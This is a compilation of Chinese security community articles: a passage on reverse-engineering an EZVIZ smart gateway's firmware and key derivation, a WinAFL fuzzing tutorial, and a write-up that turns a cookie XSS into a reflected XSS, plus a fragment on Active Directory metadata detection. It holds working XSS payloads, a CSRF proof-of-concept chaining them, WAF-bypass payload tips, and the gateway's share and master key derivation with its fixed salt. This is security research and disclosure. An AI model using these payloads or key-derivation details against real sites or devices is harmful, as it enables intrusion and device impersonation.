继续翻找，我们在squashfs文件系统中找到initrun.sh脚本，这个脚本是在网关上电启动后进行初始化操作的。如果我们在该脚本中启动telnetd，然后将固件重新打包烧录回去，这样应该就不需要软排线连接设备了，为此我们给initrun.sh增加telnetd命令，如下图：
图4-7 在initrun.sh中启动telnetd程序
接下来，就要考虑如何将固件重新打包，然后刷回至Flash中了。固件解包时，只要binwalk跑一下就完事了，但是重打包就相对麻烦一些。我们刚刚修改了initrun.sh文件，该文件在squashfs文件系统中，所以就需要重新打包squashfs文件系统，但mksquashfs在打包时，有很多细节的参数和配置，这些参数和配置将直接影响到我们重打包的系统是否可以正常运行，而且有些设备只能识别特定版本的mksquashfs打包出来的固件。
为解决squashfs文件系统打包的问题，我们最好参考一下MT7688AN的官方SDK。假设海康萤石的开发者基于该SDK的进行开发的，那么我们也根据SDK中的固件打包方法进行操作，得到的固件应该就是可运行的。首先在官网上下载MT7688
SDK，链接如下：<http://labs.mediatek.com/zh-cn/platform/linkit-smart-7688>。
在下载到的SDK文件中，我们可以在include文件夹中找到image.mk文件，在该文件中可以找到打包squashfs文件系统时的命令和参数，如下图所示：
图4-8 打包squashfs文件系统的命令和参数
同时，在‘staging_dir\host\bin’目录中可以找到图4-8 中的mksquashfs4程序.
我们尝试用SDK中的mksquashfs4程序和图4-8中的参数打包一下开启了telnetd程序的squashfs文件系统，如下图所示：
图4-9 完成squashfs文件系统打包
上图中，-comp xz是选择xz压缩格式，通过binwalk可以直接查看到原固件中的压缩格式，所以我们也选择该压缩格式。
最后，将打包后的文件系统重新放回固件文件中。我们用了一个颇为简单粗暴的方法，即用UltraEdit直接16进制编辑。4.2节中binwalk分析结果显示从地址0x700000开始的位置是squashfs文件系统的位置，我们只需要将重新打包的squashfs文件覆盖到此处即可。需要注意的是固件文件从地址0x900000起始就是另一个squashfs文件系统了，所以，覆盖完成后需要调整两个文件系统之间的填充字节数量以保证另一个squashfs文件系统的起始偏移仍然是0x900000。至此，我们完成了重打包工作。
重打包完成之后，还需要将打包的固件烧录到Flash中去。烧录和提取是类似的操作，使用编程器就可以完成，操作过程我们就不再赘述了。
# 5． 主要程序分析
按照4.3的方式重打包并烧录固件后，我们应该已经可以通过telnet连接到萤石的网关上了。telnet连上后执行“ps”指令，通过简单的排除法，就可以确定我们要分析主程序是：“/dav/davinci”（达芬奇？达文西？）。接下来我们就对这个程序以及部分它调用的动态库进行分析。
## 5.1 静态分析
我们首先静态看一下davinci文件，通过代码可以看到这个程序是有运行日志的，只是把不重要的日志屏蔽了(debug、verbose等)，只输出了较为严重的日志内容(fatal、error等)。那么我们修改几条指令，使其跳过对日志严重程度的判断，如下图：
图5-1 patch日志输出代码
除了要patch日志输出代码之外，davinci在启动之后，初始化了一个线程操作看门狗，该线程会不断向/dev/watchdog进行写操作。如果一段时间内/dev/watchdog没有收到任何数据，那么整个设备就会重启。由于我们计划调试davinci程序，如果在调试过程中，触发断点导致看门狗线程挂起，那么整个系统就会重启。为此，我们先把该线程patch掉，然后再弄一个写入/dev/watchdog的小脚本，用以专门喂狗防止重启。相关位置的代码截图如下：
图5-2 patch watchdog相关代码
喂狗的小脚本内容如下：
图5-3 喂狗小脚本
相信脚本内容一眼就能够看懂，所以我们不做太多的解释了。此外，还有个guard.sh是用于检测davinci程序是否运行的，但它不影响我们的操作，所以就不讨论该脚本了，有兴趣的读者可以去看看。
完成上述操作之后，就可以把被patch的davinci上传至海康萤石的智能网关，此处我们不再采用烧录固件的方法，因为过于麻烦。通过翻阅该设备的文件系统，可以在设备中发现tftp程序，这是一个使用tftp协议传输文件的程序，可以用它从tftpd服务器上传或下载文件。我们使用从这个链接下载到的tftpd程序：[http://tftpd32.jounin.net/tftpd64_download.html
](http://tftpd32.jounin.net/tftpd64_download.html
"http://tftpd32.jounin.net/tftpd64_download.html
")，运行后，调整tftpd服务器的文件目录和监听网卡。然后在智能网关设备中使用tftp程序获取相关文件即可，相关命令截图如下：
图5-4 使用tftp下载文件
待相关文件传输到萤石网关中之后，就可以运行FeedWatchdog.sh脚本开始喂狗，然后终止原本的davinci进程，接着删除/home/pidfile文件，该文件相当于互斥体，用于控制davinci仅运行了一次，最后启动我们自己的davinci_1进程，相关命令如下：
图5-5 启动patch之后的davinci进程
待程序运行一段时间之后，就可以查看程序的运行日志，然后通过日志分析程序的各种行为。
## 5.2 日志分析
待程序运行一段时间之后，就会在‘/applog/devlog’目录下生成日志文件，每个文件500KB左右，如下图所示：
图5-6 程序运行时生成的日志
用tftp程序将日志取回，然后打开程序日志，在日志中搜索litedev.ys7.com，这个地址是智能网关上电之后第一个访问的地址，我们第二章中介绍过。搜索结果如下图：
图5-7 与litedev.ys7.com有关的日志
上图中，我们可以看到由litedev.ys7.com解析而来的ip地址：115.231.107.14，这与我们用wireshark抓包时得到的结果是相同的。
继续翻看日志，在距离上图不远的地方，可以看到另一条日志，看起来像是与海康萤石MQTT服务器相关的日志内容，截图如下：
图5-8 与MQTT服务器有关的日志
从图中，我们可以看到另一个ip地址：101.71.30.172，该地址同样与我们wireshark抓包的结果吻合。MQTT通信协议是构建于TCP/IP协议之上的一种轻量级通信协议，经常出现在IoT设备系统中设备端与云端的通信过程中。
结合这两条日志内容和wireshark的抓包结果，我们可以进一步确认设备的工作流程：与litedev.ys7.com通信，获取了MQTT服务器的地址；然后与MQTT服务器通信，实现设备的逻辑功能。
在图5-7和图5-8中，我们分别用红框标识了一个关键字符串。在海康萤石智能网关的文件系统中，二进制搜索其中一个字符串“lbs_connect”，确认该字符串出现在libmicrokernel.so.1中。用IDA加载该so文件，可以找到与lbs_connect字符串有关系的函数，查找该函数的交叉引用，可以看到有多处代码调用了此函数，我们随便找一处点开看下，如下图所示：
图5-9 调用lbs_connect函数
可以看到在lbs_connect函数返回成功之后，就会调用send_authentication_i函数。这个函数看起来就是加密和认证相关的函数，接下来我们通过动态调试的方式分析网关加密和认证的流程。
## 5.3 动态调试的准备
对于嵌入式Linux操作系统，我们通常选用gdb和gdbserver作为调试工具。我们可以直接在设备上使用gdb进行本地调试，但gdb程序体积比较大，而且直接在设备上运行gdb会有很多不方便的地方，所以我们选择通过gdbserver进行远程调试。为了完成调试工作，我们首先需要一个可以运行在海康萤石智能网关设备上的gdbserver程序。
在4.3节中，我们使用MT7688
SDK中的工具对固件进行了重打包，所以当我们需要与芯片配套的gdbserver时，也是去MTK官方查阅资料。事实上，MT7688开发板的固件包中确实内置了一个gdbserver，但是当我们提取出这个gdbserver，并通过tftp传输到网关上开始运行后，发现并没有任何输出，可能是MTK官方定制了gdbserver的代码，导致我们无法使用该程序调试。
那么，就只能去找一找有没有其他可以正常运行在海康萤石智能网关中的gdbserver程序了。经过一番搜索后，在rapid7官方github账户上发现了已经编译好的gdbserver程序，链接如下：[https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver ](https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver "https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver ")， 这里我们选择下载芯片对应的mipsle版本的gdbserver。
这里需要说明一下，rapid7提供的gdbserver，可能在某些设备上也无法正常使用，所以最靠谱的方法是使用SDK自己编译一个出来，但是这里既然有可用的，我们就不（懒）再（得）去费功夫了。
我们通过tftp将gdbserver传输到网关中，并使用
gdbserver启动davinci。如果使用附加方式调试，很可能会错过davinci程序与服务器通信的认证过程。所以我们选择使用gdbserver启动程序，这样一来，在远程调试器连接之前，davinci程序将处于挂起状态。命令如下：
图5-10 通过gdbserver启动程序
此时，gdbserver就开始监听23946端口，等待远程调试器的连接。
接下来，我们可以选择gdb或IDA作为远程调试器连接gdbserver。IDA提供图形界面，可以帮助我们理解程序的逻辑；但gdb要更稳定，可以有效避免IDA调试时出现的奇怪错误。我们这里直接选择gdb作为远程调试器，在后续的文章中会有介绍用IDA作为调试器的例子。
由于我们需要调试的是MIPS指令集的程序，而gdb默认情况下，仅支持调试与当前环境采用相同指令集的程序（i386），所以我们需要安装可以调试MIPS指令集的gdb程序。安装方法比较简单，直接输入sudo
apt install gdb-multiarch即可。还可以给gdb程序加一个pwndbg插件，用于辅助我们的调试工作，该插件的官方地址是：<https://github.com/pwndbg/pwndbg>
，只需要下载下来，然后运行./setup.sh即可。此插件并非必需品，但是推荐装上。
完成gdb的配置工作之后，就可以使用gdb连接gdbserver开始远程调试了。gdb的调试命令非常多，可以直接搜索到很多整理好的常用命令，在这里，我们就遇见什么指令就解释什么指令吧。运行gdb-multiarch，截图如下：
图5-11 运行gdb-multiarch程序
上图中，我们分别设置architecture为MIPS，读取davinci的符号文件，在main函数设置断点，并连接远程的gdbserver，关键位置已用绿框圈出。然后，我们用快捷键c（continue），让程序开始执行，过一会程序就会在main函数的入口处被断下来。
此时，参考图5-11中的file命令加载libmicrokernel.so.1的符号文件，然后就可以直接使用函数名lbs_connect下断点了，如下图：
图5-12 在lbs_connect函数下断点
稍等片刻，就会看到程序断在lbs_connect函数中，等待我们的调试命令，截图如下：
图5-13 程序命中lbs_connect断点
图5-13最下方，打印出了函数调用栈，可以看到，程序是从lbs_redirect调用过来的，我们可以继续在外层函数下断点调试，以帮助我们理解程序的逻辑。
## 5.4 加密和认证流程分析
至此，我们已经具备了调试能力，可以调试固件中的davinci程序以及libmicrokernel.so.1等动态连接库。为了节约篇幅，我们先将一些分析结论与各位分享，然后再详细调试其中的某个细节。
在海康萤石的智能网关中，完整的通信流程涉及到3个密钥，分别是share key、master key以及session key。其中，share
key是智能网关与litedev服务器（与之对应的另一个服务器是MQTT服务器）共有的密钥，由设备序列号等常量经过多次MD5运算得到，每个智能网关设备的share
key都是独一无二的；master key是智能网关与litedev服务器经过密钥协商而来，用于加密传输session key，关于master
key的密钥协商过程就是我们将要分析的重点内容；最后session
key是智能网关与MQTT服务器通信时使用的加密密钥，该密钥由litedev服务器直接下发给智能网关。
以上三个密钥在使用过程中，share key是与设备绑定，且固定不变的，一旦获取了share
key，就可以完成所有的认证过程，最终被海康萤石认定为合法的网关设备；使用者通过手机app绑定智能网关时，会经过密钥协商生成master
key，每绑定一次会就更新一次；最后的session key则每次运行davinci程序时，都会更新，这也意味着每次重启网关都会更新session
key。三个不同级别的密钥，三个不同的密钥生存周期。
在对海康萤石智能网关的密钥体系有所了解之后，我们就可以聚焦到某些细节上，下面来着重看一下master key和share key的生成过程。
### 5.4.1 master key生成流程
为了触发智能网关的密钥协商流程，我们需要先删除当前的master key，具体讲就是删除 “/cfg/dev_masterkey”文件，如下图所示：
图5-14 删除dev_masterkey文件
删除当前master key之后，按照前一节所述的方法通过gdbserver启动davinci，即可开始调试了。
既然我们希望弄清楚加密和认证的流程，那么这个流程中网关和服务器通信数据的处理是我们要重点关注的。我们首先静态分析一下5.2节结尾提到的send_authentication_i函数，它调用的common_serialize和authentication_i_serialize用于构造将要发送的数据。我们就在common_serialize函数之前下断点，然后用gdb命令查看待发送数据的内容（本次调试时，地址为0x007d2dd0），如下图所示：
图5-15 第一次打印发送数据
在上图中，可以看到待发送数据内容还是空的。待函数common_serialize执行完毕之后，重新打印该地址的数据，如下图所示：
图5-16 第二次打印发送数据
该地址的前几个字节已经被赋值了。继续调试该程序，在authentication_i_serialize函数之后下断点，待程序中断时，重新打印该内存处的数据，如下图所示：
图5-17 第三次打印发送数据
可以观察到，authentication_i_serialize函数执行完毕之后，待发送数据基本构造完毕。我们对比一下本次发送数据和之前我们通过wireshark抓包获取的发送数据，如下图所示：
图5-18此前wireshark的抓包结果
可以看到，两组数据有一小部分是相同的，而不同的这部分应该就是网关密钥协商的关键部分。
为了找到产生不同的原因，我们来重点逆向authentication_i_serialize函数，可以在该函数中发现其调用了一个签名函数digital_sign_serialize函数：
图5-19 authentication_i_serialize函数的内部
在该签名函数之前和之后下断点，可以观察到需要签名的数据以及签名结果。结合之前用gdb调试send_authentication_i时获得的发送数据，就可以分析出发送的数据格式如下：
图5-20 send_authentication_i函数发送的数据格式
其中，dev_subserial是设备序列号；random_1是1字节随机数，每次密钥协商时都是不同的。由于random_1字节的不同，导致了digital_sign不同，所以总共有33（1+32）字节是每次通信都不同的。经过本次通信，智能网关将random_1参数上传至litedev服务器。
通过类似的分析方法，就可以获知认证过程中的其他3个函数的作用，这3个函数分别是：wait_authentication_ii、send_authentication_iii以及wait_authentication_iv。加上send_authentication_i函数，网关和服务器之间总共同步了4个随机数。
在上述的分析过程中，可以发现一个名为lbs_affair的结构体贯穿了整个认证过程，4个随机数也保存在结构体之中，该结构体的内容如下：
`00000000 lbs_affair ``struct``00000000 random_1: .byte``00000001 random_2:
.byte``00000002 random_3: .byte``00000003 random_4: .byte``00000004
dev_subserial: .byte 16``00000014 master_key: .byte 16``00000024 dev_id: .byte
32``00000044 session_key: .byte 16``00000054 share_key: .byte 32``00000074
share_key_len: .half``00000076 .byte``00000077 .byte``00000078
global_out_packet: lbs_packet``0000008C global_in_packet: lbs_packet``000000A0
lbs_net_work: .word``000000A4 lbs_affair ends`
表5-1 lbs_affair结构体
其中，random_1和random_3由智能网关生成，发送给服务器；random_2和randon_4由服务器生成，发送给智能网关。
通过这4个随机数以及share key就可以生成master key了，并进一步由master key获取session key。其master
key的生成算法比较简单，可以在generate_masterkey函数中找到，如下图所示：
图5-21 master key的生成过程
根据图中红框标出的偏移可以知道，master
key的生成过程就是将random_1、random_2、random_3、random_4和share_key拼凑在一起，然后调用sha512函数，其hash结果就是最终的master
key了。
继续分析其固件的后续内容可以发现以master key作为密钥，使用aes cbc算法解密session
key相关的代码段，这里就不截图了。获取session key之后，通信数据的加密密钥就完全切换为session key，不再使用master key了。
### 5.4.2 share key生成流程
相比于master key的生成过程，share key的生成无疑简单了很多。可以在generate_sharekey函数中找到关于share
key的各种运算，通过阅读IDA反汇编后的代码，可以确认share
key是通过对dev_subserial和dev_verification_code以及一个固定的盐进行多次MD5而得到，其中dev_verification_code是设备的认证码，该认证码被贴在海康萤石智能网关背面的标签上。在md5运算过程中，固定的盐值如下图所示：
图5-22 share key的生成过程
上图中，“ 88075998”是海康的联系电话，在此处，“www.88075998.com”作为盐参与了第二次MD5运算中。
# 6\. 小结
到此，关于海康萤石的分析文章就结束了。在这篇文章中，我们先是分别解决了电路分析，固件提取、分析、重打包，程序的动态调试等问题，最后分析了海康萤石的密钥体系，虽然写的有些模糊，但基本上涵盖了所有关键点，很多海康和萤石的其他IoT设备也使用了类似的密钥体系，本篇分析可以提供一个借鉴。其实关于海康萤石智能网关还有很多可以写的内容，但鉴于胖猴实验室和海康的良好关系，把海康萤石的网关设备分享得非常透彻也不太好，还是等有机会私下交流吧。
在笔者分析海康萤石智能网关时，Ghidra尚未发布且IDA尚不支持mips
decompiler，但在写本文时已经出现了很多好用的工具，合理利用这些工具可以大幅度减少分析工作量。最后，希望本篇文章能给各位读者带来一些收获，如若有什么想商量或者讨论的，可以随时联系我们胖猴微信：PwnMonkey。在后续文章中，我们还会继续分享其他的研究案例，敬请期待。
* * * | 社区文章 |
# 初探Windows Fuzzing神器----Winafl
|
##### 译文声明
本文是翻译文章，文章来源：同程安全应急响应中心
原文地址：[https://mp.weixin.qq.com/s?__biz=MzI4MzI4MDg1NA==&mid=2247483695&idx=1&sn=1de5db39d6986560d80ab604aae88467&scene=1&srcid=0809LR0yEgkq6U2DLBdpRKAT#wechat_redirect](https://mp.weixin.qq.com/s?__biz=MzI4MzI4MDg1NA==&mid=2247483695&idx=1&sn=1de5db39d6986560d80ab604aae88467&scene=1&srcid=0809LR0yEgkq6U2DLBdpRKAT#wechat_redirect)
译文仅供参考，具体内容表达以及含义原文为准。
**author:k0shl**
**转载自:同程安全应急响应中心**
**这是一篇客座文章,作者是乌云二进制漏洞挖掘白帽子 k0shl
。其实上个月17号,本文就已经写完了,但是我们一直“捂”到了今天。算是给二进制方向的白帽子的七夕礼物吧 : )**
**0x01 什么是winafl**
其实说的afl-fuzz大家都不会很陌生,afl-fuzz是Linux用于fuzz文件格式,协议等二进制漏洞的神器,而winafl则是afl-fuzz的Windows版,最近我对winafl进行了一些浅层研究,由于之前也进行过一段时间的二进制漏洞挖掘,但基本上都是停留在手工挖掘上,越发觉得自动化神器功能的强大,也为以后自己开发fuzz工具提供了很重要的指导依据。
Winafl到底是什么?
Winafl是windows下一种挖掘文件格式,协议漏洞的半自动化工具,为什么说半自动化呢,因为针对特定的软件,Winafl并没有提供一个全面的样本库,虽然winafl确实提供了一些测试样本,但实际上真正fuzz的过程中,很多文件需要自己手工构造。
其次比起自动fuzz,Winafl需要自己手动定位需要fuzz的函数地址偏移,来确定具体要进行fuzz的函数位置。
那么相比较来说winafl到底优势在哪呢?这里我要提一下我的理解,winafl的优势在于它采用的是代码扩展来确定输入输出,以此来判断漏洞是否存在,这么说可能大家比较晕乎。
这个原理有点像PIN插件,PIN插件是微软提供的一种类似用于汇编指令扩展的插件,我用一张图来简单描述一下这个过程。
如何理解这个过程,可以想象钩子,插桩等过程,在函数进入和函数返回时,检查程序输入输出是否符合预期等等,通过插入一些“额外”的指令来进行检查,这样,对崩溃位置定位更加精准,误报率极低等等。
刚开始如何学习fuzz?
有很多刚开始接触二进制,或者学过一段时间二进制的小伙伴会问我如何去挖掘,或者刚开始如何学习挖掘二进制漏洞的方法,其实我想说二进制漏洞挖掘是一个很难的过程,随着现在一些类似于strcpy_s,或者说软件安全性越来越好,fuzz的难度越来越高,想要挖掘高级漏洞,需要一些入门的知识,我的水平不高,在这里跟大家分享一些我做fuzz的心得,也是为之后利用winafl进行fuzz做一些铺垫。
在入门的漏洞挖掘中,最重要的是关注程序可能存在的脆弱点,其实和web很像,在二进制中,用户输入也应该是不可信的,而这里所谓的脆弱点,就是存在于用户输入和程序交互的过程中,比较有趣的函数有:strcpy,memcpy,sprintf,read等函数,指针传递,指针赋值等操作中。
下面我来举一个简单的例子,通过IDA分析一个软件,发现有一处比较有趣的调用。
这里我们关注到调用了一处strcpy的调用,我们可以通过windbg附加调试,在j_strcpy位置下断点,这样,程序执行中,如果调用了这处函数,就会命中这处断点(当然,这里用OllyDBG也是可以的)。
在敏感函数位置下断点,通过对样本的附加执行等等方法,直到命中断点,再对函数执行前后的输入输出进行判断,来确定样本是否可以造成程序崩溃,是否可控,是否是一处可造成拒绝服务或者代码执行的漏洞。
通过后续执行情况,判断栈空间的覆盖情况,来确定这里是否是一处可利用的漏洞,可以看到,此时栈回溯已经被畸形字符串冲垮,这个畸形字符串是构造样本中,用户可控的字符串部分。
这里只是简单的讲述了一下最简单的二进制漏洞挖掘过程,其实仔细回想我描述的这个过程,对函数进入推出时输入输出的检查,也就是增加一个类似于指令扩展的过程,那么其实就是自动化fuzz一个简单的模型。
**0x02 Winafl fuzz前的准备**
这里,我们使用一个名为VUPlayer的软件来利用Winafl fuzz进行一次简单的漏洞挖掘,看过网上afl-fuzz教程的小伙伴可能会发现其实这个挖掘过程耗时很长,指令扩展一定意义上加大了代码冗余,增加了执行时间,这里我提供一个可以触发VUPlayer缓冲区溢出漏洞的PoC,只是为了讲解Winafl
fuzz的使用和简单原理。
寻找一个可能存在的脆弱点
之前我提到了Winafl
fuzz使用时需要提供一个函数偏移,而在上面的简单漏洞挖掘中,我提到了对敏感函数的寻找,那么我们就来看一下VUPlayer的函数结构,利用IDA分析一下VUPlayer的函数部分。
发现函数调用了一个系统dll的函数lstrcpyA,这样回溯这个lstrcpyA,发现了一处函数。
那么我们就选择这个函数进行fuzz,函数入口偏移就是0x532a0,接下来要开始准备fuzz了。
DynamoRIO是什么?
在fuzz前,不得不提到winafl
fuzz必须要用到的DynamoRIO,这个软件我也是第一次听说,可能很多二进制的老司机对它都不陌生,其实粗略看过winafl的源码之后,我发现其实winafl很多的实现上,都借用了DynamoRIO,在这两者之间建立了通信管道从而实现两者之间的调用。
而DynamoRIO应该算是winafl的核心部分,它主要实现的是指令动态插桩,其实就是之前我提到的指令扩展,对函数输入输出进行一定的检查。关于DynamoRIO的原理以及介绍在网上有很多描述,这里不做过多介绍了。
用DynamoRIO测试过程
这里我们要用到的是DynamoRIO的ddrun.exe工具,代码如下
<code>
pathtoDynamoRIObin64drrun.exe-c winafl.dll -debug -target_module [target exe
or dll]VUPlyaer.exe -target_offset0x532a0 -fuzz_iterations 10 — [target
exe]VUPlayer.exe </code>
这里需要进行一些简单的解释,首先是-D,用于和afl
fuzz进行链接,主要是调用winafl.dll,target_module是测试目标模块,target_offset是偏移,这样的话会打开目标程序。
接下来附加一个样本,发现程序崩溃了,其实这时候,在目标目录下会生成一个log文件。
这个log文件实际上记录了测试VUPlayer过程中,加载的模块,以及记录了偏移函数位置的变化情况,可以对这个崩溃场景进行一个简单的分析。
**0x03 Winafl fuzz与核心源码浅析**
使用Winafl进行fuzz
了解了Dynamoafl fuzz的基本工作流程之后,我们可以使用winafl进行漏洞挖掘,实际上,winafl需要提供多个样本才能对目标程序进行挖掘。
这里为了介绍winafl,我们仍然使用能对目标程序造成崩溃的样本文件。
<code>
C:ProgramFilesVUPlayer>afl-fuzz.exe -i in -o out -D C:UsersAdministratorDe
sktopDynamoRIO-Windows-6.1.1-3DynamoRIO-Windows-6.1.1-3bin32-t 20000 — -fuz
z_iterations 5000-target_module VUPlayer.exe -target_offset 0x532a0 -nargs 2 —
VUPlayer.exe @@
</code>
这里仍然需要对参数进行一些简单说明,首先afl-fuzz需要和winafl.dll同时处于目标文件夹下,-i参数是用于记录输入样本,-o参数用于保存输出数据,-D则是DynamoRIO的路径,-t是样本测试延时,-target_offset是要测试函数的偏移。
当接触到崩溃的时候。
结果分析
当winafl碰到崩溃场景的时候,会在-o设定的文件夹下生成一系列文件,会详细记录指令扩展中产生的各种信息。
Crashes文件记录了崩溃样本,queue记录了指令扩展中的各种信息,cur_input是当前输入信息。
只需要产生crash之后对指令进行分析就可以很清晰的分析到这个函数输入输出发生了什么。或者说,获取了可以崩溃的样本之后,直接附加windbg复现这个漏洞,也能很快的分析出漏洞的成因。
源代码中的关键点
之前提到了DynamoRIO在winafl fuzz中的重要性,其实在源码中有很多部分都有体现,下面从源码的角度来看一些在fuzz中的关键点。
这个位置会定义dynamorio的路径,以便后续会调用到dynamorio中的工具。
构造指令插桩的关键语句,可以看到这里调用了ddrun,是DynamoRIO动态插桩的核心工具。
目标进程崩溃的进程信息。其实还有很多,比如进程重启机制,指令扩展后记录输入输出,关键函数地址等信息的部分等等。
我才接触二进制的时间不长,文章中有很多描述不当或遗漏的地方希望大牛们多多指正,一起交流进步,这次我只是对winafl进行了一些粗浅分析,源码有上万行,有很多命令的具体功能,插桩的实现原理等等都没有进行更深入的研究,如果感兴趣一起研究的朋友欢迎和我联系,一起学习进步,也希望我以后能够带来对winafl本身更为深入的研究分享,谢谢大家! | 社区文章 |
原文地址：<https://gauravnarwani.com/cookie-worth-a-fortune/>
在本文中，我们将为读者详细介绍如何将基于Cookie的XSS漏洞转换为反射型XSS漏洞。通常情况下，基于cookie的XSS漏洞的利用难度是非常大的，因为攻击者必须物理地插入恶意cookie。所以，为了将其转换成容易利用的漏洞，必须设法将cookie插入页面，从而激活payload。如果您还不熟悉XSS漏洞的话，不妨先阅读[这篇介绍性的文章](https://gauravnarwani.com/a-tale-of-3-xss/)。
## Case Study: Cookie Based XSS to Reflected XSS
* * *
### Finding Cookie Based XSS
这里测试的应用程序是一个三层Web应用程序，即表示层（前端/用户界面）、应用程序层（功能逻辑）和数据层（数据库）。由于这是一个私人程序，因此，在本文中，所有与其有关的主机均以
**example.com** 的形式进行表示。
该应用程序有一个 **登录** 页面，用户可以使用相应的凭据在此登录该应用程序。
如果用户在页面xyz上点击了注销，则应用程序将重定向到登录页面，其URL为：\
`https://example.com/login?redirect=%2Fxyz`
就这里来说，测试时要做的第一件事情就是查看参数是否可以被处理为 **`javascript:alert(document.domain)`**
的形式，以通过重定向触发XSS
payload。`POST`请求将与数据中的登陆凭据一起发送。结果表明，该应用程序忽略了payload并重定向到了`/home`。
**URL sent (POST):** https://example.com/login?redirect=javascript:alert(document.domain)\
**Response:** https://example.com/home
然后，测试登录页面上的参数 **`redirect`** 看看是否存在反射型XSS。根据一般方法，我们可以将一个值插入该参数，并检查该值是否被反射到响应中：
**Request sent (GET):** https://example.com/login?redirect=hello\
**Response:** No reflecting value, **redirected** to https://example.com/login?redirect=/hello
进行上述尝试之后，我们分析了其源代码，结果发现`https://example.com/login`页面已刷新，并且`GET`请求已发送到中继器。然后提交请求以查看页面的源代码。
在分析源代码时可以看到，利用前面URL中的参数 **`redirect`**
提交的值现在已经反射到了源代码中。这很奇怪，因为该请求是在没有任何重定向参数值的情况下向登录页面发出的。
在分析源代码过程中还可以看到，`redirect`参数的值被存储到了cookie `redirectTo`中。
**Request:**
GET /login HTTP/1.1
Host: example.com
Cookie: redirectTo=/hello;
**Response:**
HTTP/1.1 200 OK
...
...
<script>
...
redirect = '/hello';
if (redirect === null || redirect === 'null') {
redirect = undefined; }
...
</script>
现在，为了测试XSS漏洞，payload已被修改为在`script`标记之间插入一个警报框，具体如下所示：
**Payload:** asd ';alert(document.domain)//asd
**Request:**
GET /login HTTP/1.1
Host: example.com
Cookie: redirectTo=/asd ';alert(document.domain)//asd;
**Response:**
<script>
...
Redirect='/asd';alert(document.domain)//asd';
...
</script>
如果使用浏览器呈现Burp收到的响应，将会弹出警报框。
### Converting Cookie-Based XSS to Reflected XSS
现在的主要问题是需要将这个基于Cookie的XSS转换为反射型XSS。为此，当务之急是设法控制`redirect`参数。
根据我们的观察，`redirectTo` cookie会将自身的值设置为URL中参数`redirect`的值。
**Flow: example.com/login?redirect=hello ---> example.com/login (Cookie: redirectTo=/hello)**
所以，我们可以通过URL中的`redirect`参数将cookie设置为payload。
如果直接将`redirect`参数设置为payload的话，是无法直接触发该payload的。这是因为该应用程序具有如下所示的保护机制：
**URL中有重定向参数** ：写入的脚本在登录后重定向到指定的路径\
**URL中没有重定向参数** ：写入的脚本重定向到cookie中指定的路径
现在我们需要做的就是，从URL中删除重定向参数，以便应用程序从cookie获取相应的值并执行payload。
**Request1**: https://example.com/login/?redirect= asd ';alert(document.domain)//asd\
**Response:** Payload doesn't fire as we have specified a redirection value in URL
**Request2** (Resend the Request 1 without redirect parameter): https://example.com/login\
**Response:** Payload fires because it takes the redirect value from the cookie.
因此，为了将基于cookie的XSS转换为反射型XSS，必须按顺序发送两个请求：
1. **通过`redirect`参数设置cookie **。
2. **再次打开登录页面** ，注意，这次不要使用 **`redirect`参数**。
要想一键完成上述操作的话，可以使用如下所示的 **CSRF POC** 代码：
<script>\
function exploit() {\
setTimeout(function() {\
var s1 = new XMLHttpRequest(); // first request is necessary for exploitation\
s1.open('GET', ' https://example.com/login/', true);\
s1.send(null);\
document.location.href='https://example.com/login/'; // now redirecting to page\
}, 1000);\
}\
</script>\
<body onload="exploit()">\
<script>\
var xmlhttp = new XMLHttpRequest();\
xmlhttp.open('GET', ' https://example.com/login/?redirect=asd ';alert(document.domain)//asd', false);\
xmlhttp.send(null);\
</script>
上面的代码将执行以下操作：首先，它会将 **GET** 请求发送至`https://example.com/login/?redirect=asd
‘;alert(document.domain)//asd`，后者会将 **`redirectTo`
cookie**设置为`/asd';alert(document.domain)//asd`。
经过一段时间后，它会向`https://example.com/login`发送另一个 **GET** 请求，并附带 **cookie中的payload**
，从而 **触发** 该payload，将其转换为 **反射型XSS。**
至此，基于cookie的XSS就被转换成了反射型XSS。目前，这个漏洞已经被Synack接受，并且仍处于分类阶段。
本文至此就结束了，希望能够对大家有所帮助。
## BugBountyTip
"Cloudflare"; live payloads:\
~1: <img longdesc="src='x'onerror=alert(document.domain);//><img " src='showme'>\
~2: <img longdesc="src=" images="" stop.png"="" onerror="alert(document.domain);//"" src="x" alt="showme">
感谢 [@spyerror](https://twitter.com/spyerror) 为我们带来的这个优秀的技巧。 | 社区文章 |
# 基于域同步元数据的安全检测
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：[三体虫子](https://www.anquanke.com/member/127729)
预估稿费：400
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
## 前言
域同步元数据是域内对象的部分属性合集，当域服务器之间需要同步时，服务器通过元数据监视哪些数据发生了变更，并告知其他服务器哪些数据需要同步。元数据包含了大量的信息，为安全监管提供一种有效的手段，快速跟踪域森林中哪些对象属性发生了变更、变更发生在域森林中哪个域服务器、变更的历史记录及大概时间，配合域和其他安全产品的安全日志，还原、取证恶意行为。
使用该方式可以检测对抗Black Hat 2017中谈到的基于ACL的隐蔽后门方式。
## 0x00 测试环境
图中1为森林的根服务器，域名为adsec.com，服务器安装Windows Server 2016
Standard英文桌面版，机器名为Win2016-DC01；本文的大部分实验在该服务器上进行。4为adsec.com森林域的信任域的第一服务器，域名为testlab.com，安装Windows
Server 2008 R2中文版。
## 0x01 元数据的基础知识
域同步元数据是域内对象的部分属性合集，可以使用PowerShell代码查看元数据集合中具体有哪些属性，这些属性决定了基于元数据可以进行哪些安全监管和检测。查询代码如下：
Get-ADObject -SearchBase "CN=Administrator,CN=Users, DC=adsec,DC=com" -Filter * -SearchScope Subtree -Properties * | Select-Object msDS-ReplAttributeMetaData
上面的查询代码如果Properties参数不指定查询msDS-ReplAttributeMetaData，则结果为空，如果明确指出查询msDS-ReplAttributeMetaData时，有详细结果，如下图：
所有对象的复制元数据格式类似，这里举Administrator这个用户对象为例进行说明。从上图中可看出查询结果为XML格式化数据，格式化数据的含义如下：
pszAttributeName ，属性名；
dwVersion ，变更次数，逐次累加，即使该属性复原，这个数也会累加；
ftimeLastOriginatingChange，上次被修改的时间戳；
uuidLastOriginatingDsaInvocationID
，属性发生变更的所在域服务器的InvocationID，可以通过系统自带的复制管理工具repadmin /showrepl
<ServerName>来查看域服务器的InvocationID，如下图：
pszLastOriginatingDsaDN，即 NTDS object所在域服务器。
